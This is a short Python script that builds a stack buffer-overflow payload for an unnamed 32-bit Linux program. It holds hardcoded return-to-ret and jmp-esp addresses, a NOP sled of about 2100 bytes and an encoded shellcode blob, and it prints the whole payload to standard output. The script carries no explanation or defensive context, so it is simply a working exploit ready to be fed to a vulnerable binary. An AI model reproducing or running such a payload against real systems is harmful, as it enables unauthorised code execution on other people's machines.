import struct
import string
import sys

ret2esp = struct.pack('<L',0xffffe777L)
ret2ret = struct.pack('<L',0x8048c0bL)

shellcode = "\x2b\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe3"
shellcode += "\x5e\xce\x40\x83\xeb\xfc\xe2\xf4\xd2\x85\x9d\x03\xb0\x34\xcc\x2a"
shellcode += "\x85\x06\x57\xc9\x02\x93\x4e\xd6\xa0\x0c\xa8\x28\xd3\x67\xa8\x13"
shellcode += "\x6a\xbf\xa4\x26\xbb\x0e\x9f\x16\x6a\xbf\x03\xc0\x53\x38\x1f\xa3"
shellcode += "\x2e\xde\x9c\x12\xb5\x1d\x47\xa1\x53\x38\x03\xc0\x70\x34\xcc\x19"
shellcode += "\x53\x61\x03\xc0\xaa\x27\x37\xf0\xe8\x0c\xa6\x6f\xcc\x2d\xa6\x28"
shellcode += "\xcc\x3c\xa7\x2e\x6a\xbd\x9c\x13\x6a\xbf\x03\xc0"


sys.stdout.write("\x90"*(2104 - 4 ) +  ret2ret + ret2esp + "\x90"*100 + shellcode )